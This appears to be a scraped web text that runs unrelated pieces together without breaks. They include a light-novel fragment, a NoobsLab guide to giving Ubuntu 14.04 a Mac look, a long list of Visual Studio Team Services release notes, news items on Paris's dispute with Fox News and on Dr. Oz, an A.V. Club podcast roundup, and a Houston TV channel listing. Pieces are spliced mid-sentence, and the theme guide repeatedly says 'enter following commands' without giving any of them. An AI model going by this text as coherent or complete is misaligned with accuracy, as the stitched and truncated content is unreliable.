Excluding Motoyasu, She’s probably the strongest out of all my subordinates right now.
But, perhaps Raphtalia can enhance herself this much as well.New
Themes are shiny, smooth, and fast
Mac Boot Splash auto configuration
Mac theme for LightDM auto configuration
Four GTK Themes
Three Icon Sets
1: Mac wallpapers
2: Docky
3: Mac OS X Lion Theme, Icons and cursors:
4: Apply MBuntu Splash:
5: Install MacBuntu theme for LightDM:
6: Indicator Synapse (Alternative to Spotlight)
7: Replace 'Ubuntu Desktop' text with 'Mac' on the Panel
8: Replace Overlay Scroll-bars with Normal
9: Remove White Dots and Ubuntu Logo from Lock Screen:
10: Apple Logo in Launcher
11: Auto-hide Unity Launcher:
12: Unity Tweak Tool to change Themes & Icons:
13: Install Monochrome icons for Libreoffice:
14: (Optional) Mac fonts:
Mac OS X transformation pack is ready for Ubuntu 14.04 Trusty Tahr. Credit also goes to bluedxca93 from gnome-look.org who helped us with fixing several bugs in the themes (checkout his work, and he also accept donations). Following instructions you can completely change look of your Ubuntu 14.04 LTS to look like Mac. I used following stuff in this pack four GTK themes, three icon themes, boot screen, cursors and LightDM webkit theme (by wattos ). Also Mac cinnamon theme is added to pack. Mac themes for Linux are almost stopped but we kept this project on our list from 12.04, and now we have reached to 14.04 with Mac transformation. Many people look over the internet for pre-configured Mac look like Macbuntu 14.04/Mac4lin, Mac Ubuntu theme and so on, but it is good idea to transform it by yourself because if you want to go back to older look or want to change look you can do that easily.This time NoobsLab is offering four Mac GTK themes, three Mac icon themes, Mac boot screen, and Mac like LightDM theme.If you encounter any bug in theme/icons/any stuff, Report us with screenshot or problem with details.>> Video Instructions are here Download Mac OS X Wallpapers From last MacBuntu pack I recommended docky because cairo-dock were having issues with power-menu. It is light-weight and works without any problem.Download Mac theme for docky and follow the screenshot for theme setup.Tip: To pin application to dock just open Application and right click on app icon then select 'Pin to dock'.This pack offers four themes and three icon sets, enter these commands in terminal to get themes, icons and cursors.After installation choose theme, icons and mac cursor from tweak tool.Tothemes, icons and cursorsEnter following commands to install splash:Enter following command to remove splash:Enter following commands to install Mac LightDM theme:Enter following command to remove LightDM theme:Indicator-Synapse is developed by elementary OS team and it does the same function like "Spotlight".To install enter following commands in terminal:Enter following commands to change 'Ubuntu Desktop' text on the panel:Revert back to 'Ubuntu Desktop' text, enter following commands in the Terminal:Enter following command in terminal to disable overlay scrollbar:If you want to get back overlay bar, enter following command:Ubuntu 14.04 got new lock screen, I already instructed theme for LightDM but this step is necessary if you are using unity lock screen.Enter following commands in terminal to remove white dots and Ubuntu logo:If you want to revert back then use following commands.Enter following commands to install Apple Logo:If you want back Ubuntu logo enter following commands in terminal:You can hide unity launcher from->andYou can use these popular tools to change themes and icons in Ubuntu, Also you can change other settings from these tweak tools. You can also install Ubuntu Tweak Enter following command to install tweak tools.Human icons are default in LibreOffice which kind of look weird with this transformation pack, to make LibreOffice more elegant with monochrome icons follow these instructions.Enter following commands to install monochrome icons for libreoffice.After installation go to LibreOffice menu select "Tools" > "Options" > "LibreOffice" > "View" and select "Sifr" under "Icon size and style". See following screenshotsLast time I received request about Mac fonts, so this time I am including them with this pack. So here are fonts for you.You can change fonts from Unity-Tweak-Tool, Gnome-Tweak-Tool or Ubuntu TweakThat's itLondon police used pepper spray and kettling tactics against “Critical Mass |
Enhanced publisher experience in the Marketplace N/A
Owner and contributor roles can purchase through the Marketplace N/A
19 Apr 2017 Delivery timeline markers 2017.2
Visualize your git repository 2017.2
Git commit comments use the new discussion control 2017.2
Improved package list 2017.2
Build tool installers 2018
SSH deployment improvements 2017.2
Deploy to Azure Government Cloud 2017.2
Timeout enhancements for the Manual Intervention task 2017.2
Release Logs Page Improvements 2017.2
Azure App Service task enhancements and templates for Python and PHP applications 2017.2
Deploy Java to Azure Web Apps 2017.2
Java code coverage enhancements 2017.2
Maven and SonarQube improvements 2017.2
Improved Jenkins integration 2017.2
Google Play extension enhancements N/A
iOS DevOps enhancements 2017.2
Contact extension customers N/A
Marketplace feedback excluded from ratings N/A
Reports for Marketplace Publishers N/A
29 Mar 2017 Work item search for discussions 2017.2
Pull Request filtering by people 2017.2
Reason required when bypassing pull request policies 2017.2
Add and view Git tags 2017.2
Updated Changeset and Shelveset pages 2017.2
Import repositories from TFVC to Git 2017.2
Multiple recipients included on the same email (preview) 2017.2
Conditional build tasks 2017.2
Package Management adds npm READMEs and download button 2017.2
Updated Package Management experience available to all accounts 2017.2
Override template parameters in Azure resource group deployments 2017.2
Continuous Delivery in the Azure portal supports any Git repo N/A
Separation of duties for deployment requester and approvers 2017.2
Set maximum number of parallel deployments 2017.2
Q&A support for Marketplace extensions N/A
Enhancements to display publisher’s terms, license, and privacy policy in Marketplace N/A
Improved sign-out N/A
8 Mar 2017 Delivery Plans field criteria 2017.2
New mobile discussion experience 2018
Optimized mobile identity picker 2018
Customized backlog levels Future
Custom work item identity fields Future
Pull Request improvements for teams 2017.2
New policy for no active comments 2017.2
Build agent upgrade status 2017.2
GitHub pull request builds Future
Keep track of your free hosted agent minutes N/A
Out of the box notifications enabled by default 2017.2
Getting notified when extensions are installed, require attention, and more 2017.2
Release level approvals 2017.2
.NET Core tasks support project files 2017.2
15 Feb 2017 Improved support for team PR notifications 2017.2
Improved CTAs for PR author and reviewers 2017.2
Actionable comments 2017.2
Updates view shows rebase and force push 2017.2
Improved commit filtering 2017.2
Maintenance for working directories 2017.2
Agent selection improvement 2017.2
Run tests using Agent Phases 2017.2
Multiple versions of Extension tasks 2017.2
Extension management permissions and new email notifications 2017.2
Updated Package Management experience 2017.2
Support for Azure AD conditional access N/A
Pipelines queue 2017.2
25 Jan 2017 Delivery Plans 2017.2
Mobile work item form preview N/A
Build editor preview 2017.2
Repo admin permission changes 2017.1
Branch policy improvements 2017.1
PR comment improvements 2017.1
Discussion control toolbar 2017.1
View PRs for a commit 2017.1
Release views in Package Management 2017.1
npmjs.com upstream now caches packages 2017.1
Run tests built using Visual Studio 2017 2017.1
Track changes to test steps 2017.2
Sorting on work item search results 2017.2
Linking to changelog on the Marketplace N/A
Release action in Build summary 2017.2
Security for variable groups 2017.2
Web app deployment history in Azure portal 2017.2
5 Jan 2017 New account and project home pages 2017.1
Attachments in PR discussions 2017.1
Support file exclusions in the required reviewer policy 2017.1
Highlight the PRs that have updates 2017.1
Branch policy for PR merge strategy 2017.1
Expose merge conflict information 2017.1
Team Room Deprecation Announcement 2017.1
New notification settings experience 2017.1
New delivery options for team subscriptions 2017.1
Out of the box notifications (preview) 2017.1
Updated hosted build image N/A
Firefox support for Test & Feedback extension N/A
Favorites for Test Plans 2017.1
Test Impact Analysis for managed automated tests 2017.1
SonarQube MSBuild tasks 2017.1
Improved experience for Search results 2017.1
Release Management parallel execution 2017.1
Inline service endpoints N/A
Multiple release triggers with branch and tag filters 2017.1
Set defaults for artifact sources in RM 2017.1
Variable groups support in RM 2017.1
23 Nov 2016 Search for commits in branches 2017.1
Search for a file or folder in commit history 2017.1
Follow a pull request 2017.1
Restart pull request merge 2017.1
Completion blocked on rejected pull requests 2017.1
Markdown in pull request description 2017.1
Task versioning for Build and Release definitions 2017.1
Hosted Linux pool preview N/A
Build and deploy Docker apps to Azure more easily N/A
New licensing model for Build and Release Management N/A
NuGet + Credential Provider Bundle updated N/A
Delete test artifacts 2017.1
Inline service connections in Build and Release N/A
Link build artifacts from another team project 2017.1
16 Nov 2016 Package Management General Availability N/A
Release Management General Availability N/A
TFS Database Import Service N/A
Work Item Search public preview N/A
2 Nov 2016 Package Management in India and Brazil N/A
Microsoft Teams integration 2017.2
Repo Favorites 2017.1
Rollback build definitions 2017.1
Disable the sync and checkout of sources in a build 2017.1
Docker extension enhancements N/A
.NET Core build task 2017.1
Build and release management templates 2017.1
ASP.NET Core and NodeJs deployments 2017.1
Azure Web App Service manage task 2017.1
Release Management available in multiple regions N/A
REST client helpers for Test Step operations 2017.1
Test case description in Web runner 2017.1
12 Oct 2016 New navigation on by default 2017.1
Cherry-pick and revert 2017.1
Commit page improvements 2017.1
Configurable compare branch 2017.1
Find a file or folder 2017.1
Suggested value in work item pick lists Future
Xcode 8 Signing and Exporting Packages in the Xcode Task 2017.1
FindBugs in the Gradle build task 2017.1
Email support for Azure AD groups N/A
Multiple schedules in releases 2017.1
Azure resource group improvements N/A
Azure CLI task N/A
Simplified Azure endpoint creation N/A
Test & Feedback extension general availability N/A
Visual Studio subscribers automatically use their free license N/A
Work item type layout improvements 2017.1
Disable work item types Future
Import Repository 2017.1
Markdown preview button 2017.1
Confirmation for deleting repos 2017.1
Add.gitignore during repo creation 2017.1
Verify bugs from work item 2017.1
Xcode task xcpretty formatting 2017.1
Publish Jenkins test and code coverage results 2017.1
Build summary for Maven and Gradle tasks 2017.1
FindBugs and CheckStyle in Maven build tasks 2017.1
Deployment status widget 2017.1
2 Sep 2016 Custom work item types Future
Work item history tab 2017
Managing a NuGet package’s lifecycle 2017
Build queue tab 2017
Hosted build pool build agent migration 2017
Xamarin license step removed 2017
Jenkins with untrusted SSL certificates 2017
Apple App Store extension 2017
Request Feedback 2017
Checkstyle static analysis 2017
Deployment manual intervention 2017
Service endpoint improvements 2017
SQL database deployment task 2017
User lifecycle management improvements N/A
17 Aug 2016 Pull Request improvements:
Redesigned UI
Overview
Files
Updates
Comments, now with markdown and emoji
Auto-complete pull requests waiting on policies 2017
Clone Git repositories from your browser using Tower 2017
Download packages without NuGet 2017
Packages: Get started quickly 2017
Queue Jenkins jobs from builds and releases 2017
Jenkins service hook enhancements 2017
Run SSH commands on remote machines from builds and releases 2017
Create archives from builds and releases 2017
Copy files over SSH from builds and releases 2017
Download Jenkins artifacts to builds and releases 2017
Use FTP or FTPS to upload files from builds and releases 2017
Google Play Extension improvements N/A
Maven and Gradle tasks produce a build summary when running a SonarQube analysis N/A
Work item templates 2017
Quickly “Unfollow” work item 2017
Drag and drop attachments 2017
Assigned to Me widget 2017
Dashboard permissions 2017
Configure test outcomes for tests across different test suites 2017
Test Run and Test Result summary – traceability to Releases and manual test artifacts 2017
Unpublish extension – Removing a public extension from the Marketplace N/A
Rate Limits – Delaying user requests to avoid outages N/A
29 Jul 2016 Git and TFVC – History view and diff view updates 2017
Restrict Package Management feed creation 2017
Release management improvements – Azure deployments, release policies:
Agent queue management
Azure deployments
Policies – Soft delete releases
Policies – Retention of releases and builds
Release definition authoring improvements – linked artifacts improvements
Release – redeploy after success 2017
Test traceability and release environments support in Test History 2017
Exploratory testing improvements – view unexplored work items, capture web page load data 2017
Dashboard improvements 2017
Java PMD analysis in Gradle build task 2017
User management – export users and licenses N/A
Backlog extension points 2017
7 Jul 2016 Resizable WIT charts on dashboards 2017
Filter boards to a parent work item 2017
Links front and center 2017
Test settings configuration for Kanban board 2017
Comment tracking for pull requests 2017
Browse Code Coverage reports in the web 2017
Maven and Gradle tasks produce a build summary when running a SonarQube analysis 2017
Agent queue role-based security 2017
Import/Export/Clone release definition 2017
Web app deployment using ARM 2017
Partially successful deployments 2017
View and download attachments associated with releases 2017
GitHub artifacts for RM 2017
.NET SQL Extension 2017
Image action log in Web Test runner 2017
Order tests in Test hub 2017
Pick a build to test with 2017
17 Jun 2016 Git & TFVC – Browsing branches 2017
Git & TFVC – Ahead/behind 2017
Git & TFVC – Branch picker includes “Mine” 2017
Git & TFVC – Path control 2017
Git & TFVC – File type icons 2017
Work Items – An improved header 2017
Work Items – Custom states 2017
Exploratory Testing – Insights 2017
Exploratory Testing – Auto stop screen recordings 2017
Screen recording support in Web runner (for Chrome) 2017
Bugs filed as children – Web runner / Exploratory testing extension 2017
Test – History across branches 2017
Test – Automated testing for SCVMM and VMWare 2017
Release – Test status visibility 2017
Release – Support Java PMD analysis in Maven build task 2017
Release – Passing oauth tokens to scripts 2017
Build – Enable path filters for Git CI triggers 2017
Build – Updated hosted pool software 2017
Dashboards – Resizable query results widget 2017
Third-party plugins – Jenkins plug-in to RM 2017
Marketplace – Publisher review responses 2017
Team Rooms – Build vNext support 2017
6 Jun 2016 Brazil region for Visual Studio Team Services N/A
1 Jun 2016 Filtering in Kanban board 2017
Process configuration REST APIs 2017
Dashboards REST APIs 2017
SSH clients can connect to Git repos 2015.3
Redesigned Branches page 2017
Create and send links to specific sections of code 2017
API updates for package management 2017
Screenshot and system info support in Chrome Web runner 2017
Ordering of tests in Test Hub 2017
Docker integration for build and release management 2017
SonarQube results in pull request view 2017
Test results trend for build 2017
Service hooks for release management 2017
TeamCity artifacts for release management 2017
Release Management Client SDK 2017
Checkbox control 2017
Work Item page management N/A
Turning board annotations on/off 2017
Clear Formatting command 2017
Dashboard updates 2017
Adding attachments during manual testing 2017
Test plan/suite columns 2017
Build and release summary updates 2017
Release Management repository linking 2017
Copy, Export, and Import release definitions 2017
Schedule based deployments 2017
Release Management REST APIs 2017
Simplified Release definition wizard 2017
New Release Management job execution variables 2017
Improved build and pull request traceability 2017
Team Project rename permission 2017
Admin settings Work hub 2017
UX improvements 2017
13 Apr 2016 Follow a work item 2017
Change work item type Future
Work Item move (single or bulk) Future
Kanban board live updates 2017
Pick lists for work Items 2017
Checklist improvements 2017
Build to Line number 2017
Build log view supports much larger logs 2017
Java Build templates 2017
Xamarin Build Tasks 2017
Widget SDK: Reusable CSS and DOM templates 2015.3
Adding users from the team members widget 2015.3
Collection in the domain N/A
Release Management – Email release summary 2017
Release Management – Dashboard widget for release definition summary 2017
Release Management – Deploy based on conditions in multiple environments 2017
Release Management – Provision VMs or run a PS script using SCVMM extension 2017
View Git LFS files in the web 2017
Git for Windows now includes Team Services authentication by default N/A
Custom multiline text fields Future
Test progress from your cards 2017
Capture screen recordings 2017
Queue a Run by specifying your test suite 2017
Configuration management in the Test Hub 2017
Enable build result extensions to specify order and column 2017
Configure status API reporting for a build definition 2017
Tab contribution point 2017
3 Mar 2016 View test results for each release environment 2015.2
Triggers: Deploy based on completion in multiple environments (join) 2017
Epic and Feature board drill-down 2017
Exploratory testing directly from a work item 2017
Data collection: Image action log 2017
Create test cases based on Image action log data 2017
Assigning configurations to test plans, test suites and test cases 2017
Squash merge pull requests 2017
Clone in IntelliJ, Android Studio, etc. N/A
Gated builds for Team Foundation Version Control (TFVC) 2015.2
Automated testing on Azure environments N/A
NuGet package delist N/A
Office connector N/A
16 Feb 2016 Package management is now available in Europe and Australia N/A
Search for extensions on Visual Studio Marketplace N/A
Work item query charts in the dashboard catalog 2015.2
Cumulative flow diagram widget 2015.2
Flexible build policy for Git 2015.2
SonarQube Quality Gates in Build 2015.2
RM: UI extensibility 2015.2
SCVMM support N/A
Exploratory Testing improvements 2015.2
Azure SQL Database Deployment task N/A
Delete Test Plan 2015.2
Keyboard shortcuts for Kanban board 2015.2
25 Jan 2016 Public preview of the dashboard widget SDK N/A
Create branch and links to related artifacts 2015.2
Build widgets in the catalog 2015.2
Markdown widget with file from repository 2015.2
Richer visualizations in the build summary page 2015.2
View passed test results and file bugs in build summary page 2015.2
Test summary in build status notification email 2015.2
Support for editing tags in the bulk edit dialog 2015.2
Deleting a custom field Future
Keyboard shortcuts 2015.2
Test plan improvements 2015.2
Exploratory testing improvements 2015.2
Release orchestration improvements N/A
UI extensibility for release management N/A
Search scope selector 2017
Search across Git and TFVC projects 2017
10 Dec 2015 Custom work item fields Future
Work item discussion 2017
Work item history improvements 2017
Deleting work items 2015.2
Dashboards edit mode 2015.2
Keyboard shortcuts 2015.2
On-Premises support for Exploratory Testing extension: N/A
Scope code search using path filters 2015.2
24 Nov 2015 Git and TFVC in the same team project 2015.1
Package Management build tasks 2015.2
Implement a task once for multiple platforms 2015.2
Pull Request Widget for Dashboards 2015.2
@mention and #ID in code 2015.2
Reordering cards on boards 2015.2
Global shortcut keys 2015.2
18 Nov 2015 Extensions and Marketplace N/A
Release Management public preview N/A
Package Management public preview N/A
Code Search public preview N/A
Test Results in Build 2015.2
Exploratory Testing extension N/A
Test Manager extension N/A
Improved pull request experience 2015.1
Manual test iteration results 2015.1
Retention policy for test results 2015.1
Reorder and re-parent tasks from the Kanban board 2015.1
PREVIEW: New Work Item form 2017
8 Oct 2015 Azure Active Directory Group support N/A
Starting with Git, made easy 2015.1
Improved commit details 2015.1
SonarQube analysis from a Maven build task 2015.1
PREVIEW: New Work Item form 2017
18 Sep 2015 Inline tasks on the Kanban board 2015.1
Query and display of Kanban fields 2015.1
Multi-select items on the backlog 2015.1
Branch policy to require linked work items 2015.1
Export test outcomes 2015.1
Work item trend and rollup reporting in Power BI Future
Support for publishing xUnit results 2015.1
26 Aug 2015 Rename columns in place 2015.1
Choosing users for capacity planning 2015.1
Burndown with available capacity 2015.1
SonarQube analysis build tasks 2015.1
7 Aug 2015 Multi-select items on the product backlog 2015.1
Reorder cards when changing columns 2015.1
Color tags and titles on your cards 2015.1
Libraries for integrating with VSTS now available at nuget.org N/A
22 Jul 2015 Power BI reporting on Work Item data Future
17 Jul 2015 Multiple activities per team member 2015.1
Configure settings directly from backlogs/boards 2015.1
Hide empty fields on cards 2015.1
Card coloring on Taskboard 2015.1
Drag any item to an iteration from anywhere 2015.1
Build your projects hosted in GitHub Future
New VSTS integrations N/A
7 Jul 2015 Card coloring on Kanban board 2015.1
Personal access tokens 2017
Adding work directly to a sprint 2015.1
3 Jun 2015 Kanban swim lanes 2015
#Mention work items 2015.1
Automated testing in Build vNext 2015.1
Team settings API 2015
Backlog navigation update 2015
Opt-in to portfolio backlogs 2015
Improved SAFe support 2015
Kanban collapsed columns 2015
Git branch policies 2015
Power BI & VSO N/A
11 May 2015 Application Insights:
iOS and Android support
Performance counters for Java applications
Unhandled exceptions in Java apps
Drag-across to select a time range N/A
8 May 2015 Australia region for Visual Studio Team Services N/A
29 April 2015 Application Insights Public Commercial Preview N/A
29 April 2015 Extensions 2015.2
27 Apr 2015 Adding fields to cards 2015
Kanban board filtering 2015
Card options on the Taskboard 2015
Account restore N/A
24 Apr 2015 Team Project Rename 2015
22 Apr 2015 Application Insights:
Synthetic data filtering
New usage experience for ASP.NET, Java and other applications
Daily Active User calculations N/A
17 Apr 2015 CodeLens General Availability on Visual Studio Team Services N/A
Markdown editing for definition of done 2015
CFD options 2015
Web history view for Git projects 2015
27 Mar 2015 Application Insights: Save search page, pause export and export on alert fail N/A
10 Mar 2015 Current iteration query token 2015
Reordering on the Kanban board 2015
Kanban definition of done 2015
Responsive card sizes 2015
Bugs on the Taskboard 2015
Syntax highlight for XML, Sass, Objective-C, R 2015
CodeLens for accounts in West Europe N/A
9 Mar 2015 Application Insights support for Java N/A
18 Feb 2015 Adding and editing directly from the board 2015
Split columns on the Kanban board 2015
Assign multiple people to test suites 2015
Application Insights in the Azure Preview Portal N/A
13 Feb 2015 Limited preview for Code Search N/A
29 Jan 2015 Application Insights support for Windows Phone and Windows Store Applications N/A
27 Jan 2015 Basic license upgraded 2015
Reordering on the Taskboard 2015
Unparented Tasks on the Taskboard 2015
Inline editing on the Kanban board 2015
15 Jan 2015 VS Online ISO 27001 Certification N/A
17 Dec 2014 Quick code editing 2015
Filtering on backlogs and queries 2015
Sprint backlog and task board improvements 2015
New integrations: Slack and Azuqua N/A
Preview APIs for adding and updating files in source control 2015
CodeLens for Visual Studio Team Services N/A
11 Dec 2014 Application Insights Status Monitor and SDK updates N/A
2 Dec 2014 Identity control and avatars 2015
Pull Request improvements 2015
Taskboard changes 2015
Kanban board persisted column headers 2015
Sharing personal queries 2015
12 Nov 2014 Release Management Preview as VSTS service N/A
4 Nov 2014 Bugs on the backlog 2013.4
Test execution charts 2013.4
Recent test results 2013.4
Preview Markdown and HTML files in Code Explorer 2015
Browse link dialog 2013.4
REST batch support 2015
Third-party OAuth scopes 2015
28 Oct 2014 European Datacenter N/A
VSTS REST API version 1.0 is here N/A
Service hooks is out of preview N/A
14 Oct 2014 Test artifacts as work items 2013.3
Copy and paste query results 2013.4
23 Sep 2014 Maximizing text area fields 2013.4
Navigating to links 2013.4
Work item performance improvements 2013.4
4 Sep 2014 Work Item query improvements 2013.4
Quick search through tree controls 2013.4
Longer trend charts 2015
Test Cases related to Test Suites 2013.4
WIT REST API v1.2 2015
Event and resource versioning within service hooks N/A
27 Aug 2014 A license for Stakeholders 2013.4
18 Aug 2014 Project Welcome pages 2015
Tagging support in the Test Hub 2013.4
21 Jul 2014 Using corporate identities with existing accounts N/A
Viewing existing projects in the Azure Preview Portal N/A
Trend charts + aggregation 2013.4
Test Hub added to the Advanced License N/A
Deleting your account N/A
1 Jul 2014 Hiding work in progress on the backlog 2013.3
Full Screen on the backlog and boards 2013.4
Move to position on the backlog 2013.4
20 May 2014 Using corporate identities N/A
Copy/Paste shared parameter data between VS Online and Excel 2013.3
End of data export period N/A
12 May 2014 Integrate with Visual Studio Team Services N/A
Service Migration with OpsHub N/A
3 Apr 2014 General Availability of Visual Studio Team Services N/A
Application Insights Limited Preview N/A
Shared Parameters for Test Cases 2013.2
18 Mar 2014 Getting started with Application Insights N/A
Search across your application trace logs N/A
28 Feb 2014 Build support for Java code managed in Git 2013.2
Java JDK, Ant, and Maven libraries preinstalled in hosted build N/A
Maven support for TF version control projects 2013
New “create tags” permission 2013.2
Removing weekends from the Burndown 2013.2
Configurable CFD dates 2013.2
11 Dec 2013 Application Insights – Response Stacked Distribution N/A
Application Insights – Windows Store App support N/A
Asynchronous backlogs 2013.2
13 Nov 2013 Commercial preview N/A
Application Insights limited preview N/A
Live editing of Windows Azure sites N/A
8 Nov 2013 Work item chart pinning 2013.2
21 Oct 2013 New account and project pages 2013.2
17 Oct 2013 Build images updated to VS 2013 N/A
30 Sep 2013 New languages supported for code syntax highlighting 2013.2
Color picking in charts 2013.2
Column options for the test case grid view 2013.2
9 Sep 2013 Work item charts 2013
Bulk edit of test cases 2013
Delete a team project 2013
Work items from code discussion 2013
19 Aug 2013 Improved code commenting 2013
29 Jul 2013 Improved permission management for Git repos 2013
Team room Git push events 2013
Deleting team rooms 2013
Team permission changes 2013
26 Jun 2013 Windows 8.1 support in hosted build N/A
Paste images into work items in the web 2013
Open Microsoft Test Runner from web 2013
19 Jun 2013 Agile Portfolio Management updates – view filter and quick decompose 2013
Open MTM from web 2013
Admin panel color change 2013
3 Jun 2013 Agile Portfolio Management 2013
Lightweight code commenting 2013
Team Room 2013
Create/modify test plans through Web UI 2013
Cloud load testing N/A
28 May 2013 Build IaaS N/A
Git alerts 2013
Backlog updates – name changed to "backlogs" and now backlogs show all items until they reach the completed state 2013
13 May 2013 Work item colors based on process template settings 2013
Usability updates – icon updates and sentence casing 2013
Navigation updates in Web UI, including ability to view past iterations 2013
Git multi-repo support 2013
22 Mar 2013 Branches view for Git 2013
TCM Improvements – bulk edit test step pass/fail, double click test step reorder, hover over inline images 2013
TCM improvements – edit test steps when running tests 2012.2
Annotate/Blame for version control 2012.2
Scheduled builds for Git-based projects 2013
11 Feb 2013 Continuous Integration for Git 2013
TCM improvements – view test step attachments when running tests, add attachments when running tests, pause and resume tests in Test Runner 2012.2
WIT tagging cleanup for unused tags 2012.2
Download as Zip for version control 2012.2
Git support 2013
Test Hub in Web UI 2012.2
21 Jan 2013 Changeset context menu in Web UI 2012.2
9 Jan 2013 Account rename of Team Foundation Service account N/A
7 Jan 2013 Email work items from backlog 2012.2
Search for changesets by ID in Web UI 2012.2
Full screen mode for code viewing 2012.2
Inline diff of images in version control 2012.2
Collapsible left pane in all left panels in Web UI 2012.2
10 Dec 2012 Renamed Source to Code in Web UI hub 2012.2
Code Explorer updates in Web UI 2012.2
Hosted build updates for Azure SDK 1.8, TypeScript 0.8.1, and VS 2012 Update 1 N/A
19 Nov 2012 Send work items in email from TFS web access 2012.2
Build file counts and sizes in summary reports 2012.2
31 Oct 2012 General availability of Team Foundation Service N/A
29 Oct 2012 Build drops N/A
8 Oct 2012 400 character server paths for version control 2012.1
17 Sep 2012 Drag/drop in sprint planning to assign to person or activity 2012.1
Web usability improvements (tabs and UX modified, collapse left pane in work items) 2012.1
Process template updates to Agile 6.1 and Scrum 2.1 2012.1
27 Aug 2012 Improved source browsing, viewing, and searching 2012.1
Improved source "diff" 2012.1
Hosted builds of SharePoint components N/A
Basic authentication support N/A
Cumulative Flow Diagram 2012.1
WIP Limits 2012.1
6 Aug 2012 Drag/drop in task board to move tasks between people and stories 2012.1Paris Mayor Anne Hidalgo took another shot at Fox News in an interview that aired this week, saying the channel’s reporting that there were Muslim “no-go zones” in her city was “a lie at a very, very serious time.”
Hidalgo spoke to CNN about the city’s planned lawsuit against Fox News for its coverage of the supposed “no-go zones” in the wake of terror attacks by Islamic extremists earlier this year in Paris. Fox eventually issued multiple corrections and said there was “no credible information” to support the idea that non-Muslims are not allowed in parts of England or France.
“We are in a world that can very dangerously tip over, as we’ve seen,” Hidalgo said, according to CNN’s translation. “And we should not accept this type of talk that only adds difficulty.”
Though she did not explain details of the lawsuit against Fox, she said the city “took legal action at the Paris high court.”
She said she remained angry about Fox’s reporting and that “it has economic consequences because some in the United States suddenly become afraid of Paris.”
“What Fox News did was to lie,” Hidalgo said, according to CNN. “It wasn’t opinion or legitimate criticism. We are in a democracy, so real criticism is normal. But it was a lie at a very, very serious time. And some like Fox stigmatized a portion of the population and they wanted to show something that doesn’t exist.”
Despite Hidalgo’s talk about the lawsuit, however, Fox News told the Washington Post on Friday that it had yet to see court documents.
Watch the video below, courtesy of CNN. Hidalgo’s comments about Fox begin at about the 3-minute mark:Dr. Oz is in full damage control mode this week after numerous experts have pointed out that he’s full of shit. And his latest talking points might be the most hilarious yet. His bizarre defense? He says the Dr. Oz Show is “not a medical show.”
America’s doctor is making the rounds on everything from the NBC Nightly News to the Today Show. And on those programs, the good doctor appears to be claiming that if you want medical advice, you should look elsewhere. He even goes so far as to claim that the word “doctor” is made intentionally small in his show’s logo.
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“It’s called The Dr. Oz Show. We very purposely, on the logo, have ‘Oz’ as the middle, and the ‘Doctor’ is actually up in the little bar for a reason,” Oz told NBC. “I want folks to realize that I’m a doctor, and I’m coming into their lives to be supportive of them. But it’s not a medical show.”
Oh, okay.
Dr. Oz says he has his regrets. Because of course he does now that he’s getting called on his bullshit weight loss “miracles” and promotion of unproven medical treatments.
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“There are segments that I made that I wish I could take back. If I could just go back in time, I would have never allowed those words to come out of my mouth, because it completely perverted the conversation I was having with America. But I can’t take back those segments,” he told NBC.
For what it’s worth, Dr. Oz says he won’t use the word “miracle” anymore to describe any bullshit he might peddle on his show. Which is a fantastic step in the right direction. But one can’t help but wonder why he doesn’t just go Full Miracle if his show isn’t meant to be a “medical show” — you know, the kind with medical advice backed up by science.
Image: Dr. Oz in 2014 via GettyPodmass _In [Podmass](https://www.avclub.com/c/podmass),_ The A.V. Club _sifts through the ever-expanding world of podcasts and recommends the previous week’s best episodes. Have your own favorite? Let us know in the comments or at [podmass@avclub.com](mailto:podmass@avclub.com)._
In Podmass, The A.V. Club sifts through the ever-expanding world of podcasts and recommends 10–15 of the previous week’s best episodes. Have your own favorite? Let us know in the comments or at podmass@avclub.com.
Cinema Junkie
TCM Political Films With Ben Mankiewicz
[Subscribe on iTunes]
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The U.S. governing system of representative democracy is undoubtedly fascinating and prone to producing nail-biting drama. What sets it apart from other dramas, though, is that it does not routinely wend toward a happy ending. And when it doesn’t, there aren’t any closing credits to disjoin the depressing resolution from the rest of your life. That’s why movies about politics are infinitely less stressful than the real thing. In this episode of NPR’s Cinema Junkie, Beth Accomando talks to Turner Classic Movies host Ben Mankiewicz about some of the timeless films he’s curated for the channel’s political film festival—such as Michael Ritchie’s 1972 comedy-drama The Candidate and Preston Sturges’ 1940 satire The Great McGinty—and why he chose them. Mankiewicz is uniquely qualified to assemble a collection like this. In addition to his gig on TCM, he’s also a co-founder and regular commentator on the progressive talk show The Young Turks. And both areas of interest are embedded deep in his DNA. His father, Frank Mankiewicz, was Robert Kennedy’s press secretary, and his grandfather was Herman J. Mankiewicz, co-author of a little movie called Citizen Kane. If nothing else, this will feed one’s election addiction without compounding despair.
[Dennis DiClaudio]
Leave a Message After the Tone
If You're Reading This It's Too Late Go to Bed
[Subscribe on iTunes]
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The concept of interactive podcasts isn’t a new one for the medium; shows like Love & Radio, Reply All and Note To Self have been mastering the art of getting listeners engaged through audio collages and challenges for years now. But there’s a brand new show on the scene called Leave a Message After the Tone, that compiles anonymous messages from listeners on a specific topic, such as Donald Trump’s favorite foods (shellfish, hot dogs on white buns with ketchup only) or in last week’s episode, Drake’s bedtime routine. The result is bite-sized, totally weird and delightful stream-of-conscious |
/1005 HD, Charter 4/782 HD, Consolidated 3)
39.2 Antenna TV(Comcast 318)
39.3 Comet
KHLM-LD (RF 43) (Low power)
43.1 Multimedios Television(Comcast 325)
43.2 Millennium Broadcasting Channel
43.3 Television de Houston
43.4
43.5 Urban Houston Network
43.6 Infomercials
43.7 Infomercials
43.8 Infomercials
KXLN (RF 45)
45.1 Univisión (Comcast 10/610 HD, U-verse 10/1010 HD, Charter 19/779 HD, Consolidated 14)
45.2 KFTH
45.3 Escape
KBPX-LD (RF 46) (Low power)
46.1 Zuus Country
46.2 Qubo(U-verse 328)
46.3 ION Life(U-verse 468)
46.4 Shop TV
46.5 QVC
46.6 HSN
KTMD (RF 48)
47.1 Telemundo (Comcast 6/606 HD, U-verse 47/1047 HD, Charter 15, Consolidated 16) (coming to Dyle)
47.2 TelExitos TV(Comcast 326)
47.3
KPXB (RF 32)
49.1 Ion(Comcast 7/607 HD, U-verse 49/1049 HD, Charter 22/752 HD, Consolidated 12)
49.2 Qubo(U-verse 328)
49.3 ION Life(U-verse 468)
49.4 Shop TV
KDHU-LD (RF 7)(low power)
50.1 Daystar (simulcast of 22.1)
KYAZ (RF 47)
51.1 Azteca América(Comcast 2, U-verse 51, Charter 9, Consolidated 7)
51.2 VietFace TV
51.3 Saigon Network Television
51.4 New Tang Dynasty Television(live stream)
51.5 MBC America, Korean
51.6 QVC Over the Air
51.7 Vietv (Vietnamese)
